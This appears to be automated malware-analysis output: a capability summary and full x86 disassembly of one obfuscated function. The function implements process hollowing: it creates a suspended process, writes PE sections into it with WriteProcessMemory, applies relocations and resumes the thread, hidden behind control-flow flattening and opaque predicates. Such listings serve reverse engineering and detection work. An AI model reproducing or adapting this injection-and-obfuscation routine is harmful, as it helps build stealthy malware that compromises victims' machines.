Function at 0x10006f50
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x1006d800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0x22f57951
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x802740f3
je 0x100098d8
jmp 0x10006f8c
mov eax, dword [ebp - 0x118]
sub eax, 0x8029f7b3
je 0x1000abc0
jmp 0x10006fa2
mov eax, dword [ebp - 0x118]
sub eax, 0x80c44dc3
je 0x1000f324
jmp 0x10006fb8
mov eax, dword [ebp - 0x118]
sub eax, 0x813d2425
je 0x1000cbc5
jmp 0x10006fce
mov eax, dword [ebp - 0x118]
sub eax, 0x82cbda50
je 0x1000d92c
jmp 0x10006fe4
mov eax, dword [ebp - 0x118]
sub eax, 0x8394c7ee
je 0x1000c34d
jmp 0x10006ffa
mov eax, dword [ebp - 0x118]
sub eax, 0x83d29e54
je 0x1000e26a
jmp 0x10007010
mov eax, dword [ebp - 0x118]
sub eax, 0x845815ae
je 0x1000a848
jmp 0x10007026
mov eax, dword [ebp - 0x118]
sub eax, 0x8561f4cf
je 0x1000ccce
jmp 0x1000703c
mov eax, dword [ebp - 0x118]
sub eax, 0x8631a914
je 0x10009cca
jmp 0x10007052
mov eax, dword [ebp - 0x118]
sub eax, 0x86952b8f
je 0x1000f21d
jmp 0x10007068
mov eax, dword [ebp - 0x118]
sub eax, 0x87e34bfc
je 0x1000ccbf
jmp 0x1000707e
mov eax, dword [ebp - 0x118]
sub eax, 0x8821406e
je 0x1000b8ba
jmp 0x10007094
mov eax, dword [ebp - 0x118]
sub eax, 0x88a1753d
je 0x1000f53d
jmp 0x100070aa
mov eax, dword [ebp - 0x118]
sub eax, 0x88b5717f
je 0x10009775
jmp 0x100070c0
mov eax, dword [ebp - 0x118]
sub eax, 0x897b2a6b
je 0x1000b180
jmp 0x100070d6
mov eax, dword [ebp - 0x118]
sub eax, 0x89809513
je 0x1000bec1
jmp 0x100070ec
mov eax, dword [ebp - 0x118]
sub eax, 0x89badc71
je 0x1000a5fd
jmp 0x10007102
mov eax, dword [ebp - 0x118]
sub eax, 0x8a6e7375
je 0x10009df2
jmp 0x10007118
mov eax, dword [ebp - 0x118]
sub eax, 0x8a8c111f
je 0x10009a17
jmp 0x1000712e
mov eax, dword [ebp - 0x118]
sub eax, 0x8aaf0336
je 0x1000e322
jmp 0x10007144
mov eax, dword [ebp - 0x118]
sub eax, 0x8b3fef7d
je 0x1000c448
jmp 0x1000715a
mov eax, dword [ebp - 0x118]
sub eax, 0x8dd306bb
je 0x1000a3b1
jmp 0x10007170
mov eax, dword [ebp - 0x118]
sub eax, 0x8de6654e
je 0x1000c27e
jmp 0x10007186
mov eax, dword [ebp - 0x118]
sub eax, 0x908a9a89
je 0x1000e613
jmp 0x1000719c
mov eax, dword [ebp - 0x118]
sub eax, 0x9093dd21
je 0x1000c58a
jmp 0x100071b2
mov eax, dword [ebp - 0x118]
sub eax, 0x9149729a
je 0x1000affe
jmp 0x100071c8
mov eax, dword [ebp - 0x118]
sub eax, 0x915d3359
je 0x1000f0b7
jmp 0x100071de
mov eax, dword [ebp - 0x118]
sub eax, 0x93b5aa9e
je 0x1000e9db
jmp 0x100071f4
mov eax, dword [ebp - 0x118]
sub eax, 0x93f3058e
je 0x1000ef9f
jmp 0x1000720a
mov eax, dword [ebp - 0x118]
sub eax, 0x9418d1b3
je 0x1000c065
jmp 0x10007220
mov eax, dword [ebp - 0x118]
sub eax, 0x94b8fb63
je 0x1000c7b3
jmp 0x10007236
mov eax, dword [ebp - 0x118]
sub eax, 0x94d6eaee
je 0x1000e0b8
jmp 0x1000724c
mov eax, dword [ebp - 0x118]
sub eax, 0x94e4579b
je 0x1000d055
jmp 0x10007262
mov eax, dword [ebp - 0x118]
sub eax, 0x94e984f9
je 0x1000ba5f
jmp 0x10007278
mov eax, dword [ebp - 0x118]
sub eax, 0x952f4b97
je 0x1000eec6
jmp 0x1000728e
mov eax, dword [ebp - 0x118]
sub eax, 0x95c13aa8
je 0x1000c476
jmp 0x100072a4
mov eax, dword [ebp - 0x118]
sub eax, 0x973747e8
je 0x1000f353
jmp 0x100072ba
mov eax, dword [ebp - 0x118]
sub eax, 0x97c9b627
je 0x1000b564
jmp 0x100072d0
mov eax, dword [ebp - 0x118]
sub eax, 0x98c9cb46
je 0x1000e1b9
jmp 0x100072e6
mov eax, dword [ebp - 0x118]
sub eax, 0x98d0b79b
je 0x1000a4f2
jmp 0x100072fc
mov eax, dword [ebp - 0x118]
sub eax, 0x98d2edf4
je 0x1000ef61
jmp 0x10007312
mov eax, dword [ebp - 0x118]
sub eax, 0x9943951b
je 0x1000dca6
jmp 0x10007328
mov eax, dword [ebp - 0x118]
sub eax, 0x9c4bc5dd
je 0x10009f33
jmp 0x1000733e
mov eax, dword [ebp - 0x118]
sub eax, 0x9cc697cf
je 0x1000c5ec
jmp 0x10007354
mov eax, dword [ebp - 0x118]
sub eax, 0x9d67d71d
je 0x1000a2d0
jmp 0x1000736a
mov eax, dword [ebp - 0x118]
sub eax, 0x9de989c8
je 0x10009b43
jmp 0x10007380
mov eax, dword [ebp - 0x118]
sub eax, 0x9df0e2f4
je 0x1000dc30
jmp 0x10007396
mov eax, dword [ebp - 0x118]
sub eax, 0x9e58c843
je 0x1000ae55
jmp 0x100073ac
mov eax, dword [ebp - 0x118]
sub eax, 0x9eb51b5d
je 0x1000da29
jmp 0x100073c2
mov eax, dword [ebp - 0x118]
sub eax, 0x9f25a662
je 0x1000f7eb
jmp 0x100073d8
mov eax, dword [ebp - 0x118]
sub eax, 0xa14aa71b
je 0x1000f4af
jmp 0x100073ee
mov eax, dword [ebp - 0x118]
sub eax, 0xa2d2d05d
je 0x1000f706
jmp 0x10007404
mov eax, dword [ebp - 0x118]
sub eax, 0xa2d4b9c7
je 0x1000e1f1
jmp 0x1000741a
mov eax, dword [ebp - 0x118]
sub eax, 0xa3cf6a3c
je 0x1000d58b
jmp 0x10007430
mov eax, dword [ebp - 0x118]
sub eax, 0xa3faf464
je 0x1000a998
jmp 0x10007446
mov eax, dword [ebp - 0x118]
sub eax, 0xa41c79c2
je 0x1000c754
jmp 0x1000745c
mov eax, dword [ebp - 0x118]
sub eax, 0xa4402e43
je 0x1000c5bd
jmp 0x10007472
mov eax, dword [ebp - 0x118]
sub eax, 0xa50b0645
je 0x1000ee2f
jmp 0x10007488
mov eax, dword [ebp - 0x118]
sub eax, 0xa56496d7
je 0x1000b3f7
jmp 0x1000749e
mov eax, dword [ebp - 0x118]
sub eax, 0xa5a3d84a
je 0x1000a62b
jmp 0x100074b4
mov eax, dword [ebp - 0x118]
sub eax, 0xa5cf77da
je 0x1000d1e0
jmp 0x100074ca
mov eax, dword [ebp - 0x118]
sub eax, 0xa65d3fd4
je 0x1000ca41
jmp 0x100074e0
mov eax, dword [ebp - 0x118]
sub eax, 0xa71303a7
je 0x1000cf3b
jmp 0x100074f6
mov eax, dword [ebp - 0x118]
sub eax, 0xa7c952d7
je 0x1000d1ef
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3208d80d
mov ecx, 0xc4e2c38c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
movss xmm0, dword [0x1001d390]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x114], 0x44800563
jmp 0x1000f8fd
movss xmm0, dword [0x1001d38c]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x114], 0x203d09d
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0xf20a249f
jmp 0x1000f8fd
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0xa1d2af5
sub edx, 1
add edx, 0xa1d2af5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x25f850ec
mov ecx, 0x6f823f7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
movss xmm0, dword [0x1001d36c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0x58c15fde
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0x42d2b64
jmp 0x1000f8fd
movss xmm0, dword [0x1001d340]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x114], 0x3395d34e
jmp 0x1000f8fd
mov dl, 1
mov eax, 0x7c0c40b4
mov ecx, 0x3cb34b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov dl, 1
mov eax, 0x6fc3542e
mov ecx, 0x28307136
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0x6fc3542e
jmp 0x1000f8fd
mov dl, 1
mov eax, 0x50084b77
mov ecx, 0x60527c50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov dl, 1
mov eax, 0x3bfd01d6
mov ecx, 0x3e2857ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0xba03260c
sub edx, 1
sub edx, 0xba03260c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x915d3359
mov ecx, 0x7d9fe2a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa9dd939b
mov ecx, 0x2210da8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
movss xmm0, dword [0x1001d204]
movss dword [ebp - 0x108], xmm0
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0xeadcd30b
sub edx, 1
sub edx, 0xeadcd30b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfb5bcca
mov ecx, 0xbdeafe85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov dl, 1
mov eax, 0x11442362
mov ecx, 0x12a3a794
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x67d8ca66
sub edx, 1
sub edx, 0x67d8ca66
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf407d762
mov ecx, 0xd69220d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0x1a596a39
jmp 0x1000f8fd
movss xmm0, dword [0x1001d2fc]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x114], 0x6ea93edd
jmp 0x1000f8fd
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0x1f3dabe4
sub edx, 1
add edx, 0x1f3dabe4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7e69be7
mov ecx, 0xbbde56d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0xf66ba184
jmp 0x1000f8fd
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x973747e8
mov ecx, 0x283a7835
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
movss xmm0, dword [0x1001d2e4]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x1001d2e0]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x114], 0xf8d1ad5f
jmp 0x1000f8fd
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x13ac1a6c
mov ecx, 0xd5f7f0b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0xe36cde91
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0x14fa3d8c
jmp 0x1000f8fd
movss xmm0, dword [0x1001d2d4]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x114], 0x6bc7fe55
jmp 0x1000f8fd
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d2cc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d2c8]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xa4402e43
jmp 0x1000f8fd
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d2c4]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x1d422667
mov ecx, 0x9cc697cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d2c0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d2bc]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x5b956c68
jmp 0x1000f8fd
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d2b0]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x61ee8616
jmp 0x1000f8fd
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0xffb1bac3
sub edx, 1
add edx, 0xffb1bac3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x620322bd
mov ecx, 0x371deaa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov dl, 1
mov eax, 0xb71bb1a9
mov ecx, 0xe7d1d6e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001d284]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x12819e17
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0x8561f4cf
jmp 0x1000f8fd
mov dl, 1
mov eax, 0xcbb002b6
mov ecx, 0xea9b3621
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001d270]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x43c2e401
jmp 0x1000f8fd
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001d264]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x1f9d0edd
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0xa7c952d7
jmp 0x1000f8fd
mov edx, dword [ebp - 0x84]
mov eax, 0x5c8f6c1c
mov ecx, 0xd7548830
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x114], 0x9f5f34f
jmp 0x1000f8fd
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe0bf3330
mov ecx, 0x34e8e278
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x114], 0x3970e523
jmp 0x1000f8fd
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xb4]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0xcc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc4]
mov esi, dword [esi]
mov edi, dword [ebp - 0xb4]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0xe0]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb4]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10006c70
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb4]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0x59], al
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0xaf91f2bf
sub edx, 1
add edx, 0xaf91f2bf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xed994aaa
mov ecx, 0xfd14b1cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x44]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x9eb51b5d
jmp 0x1000f8fd
mov dl, byte [ebp - 0x3d]
mov eax, 0xbffc28b5
mov ecx, 0x570a5e78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x3c]
mov eax, 0xbffc28b5
mov ecx, 0xa99e890
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6b9270f8
mov ecx, 0x4d7d8e4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x32d99ce0
sub ecx, 8
sub ecx, 0x32d99ce0
shr ecx, 1
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x3ba65dc9
jmp 0x1000f8fd
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0xad78fee0
sub edx, 1
add edx, 0xad78fee0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9f25a662
mov ecx, 0x6e6a8b05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0xd2550b90
jmp 0x1000f8fd
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0xa535f421
sub edx, 1
sub edx, 0xa535f421
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x27cf9395
mov ecx, 0x6b62e4f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000f8fd
movss xmm0, dword [0x1001d258]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x114], 0x2a45f17e
jmp 0x1000f8fd
movss xmm0, dword [0x1001d244]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0xcf95920e
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0xc337871d
jmp 0x1000f8fd
movss xmm0, dword [0x1001d214]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x114], 0x7d9fe2a9
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0x110ec8ea
jmp 0x1000f8fd
movss xmm0, dword [0x1001d1c0]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x1001d1bc]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x114], 0xa8fb4abf
jmp 0x1000f8fd
mov dword [ebp - 0x114], 0x283a7835
jmp 0x1000f8fd
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001d190]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xb9a34acd
jmp 0x1000f8fd
mov ax, word [ebp - 0x94]
mov dword [ebp - 0x114], 0x654938d4
jmp 0x1000f8fd
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x50]
add ecx, eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xb4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0xb1f9e5fb
sub eax, edx
sub eax, 0xb1f9e5fb
add ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0xe541fa10
jmp 0x1000f8fd
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov edx, dword [ebp - 0xa0]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0xbcb7873c
or edx, esi
or eax, 0xbcb7873c
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x114], 0x6e6a8b05
jmp 0x1000f8fd
jmp 0x10006f70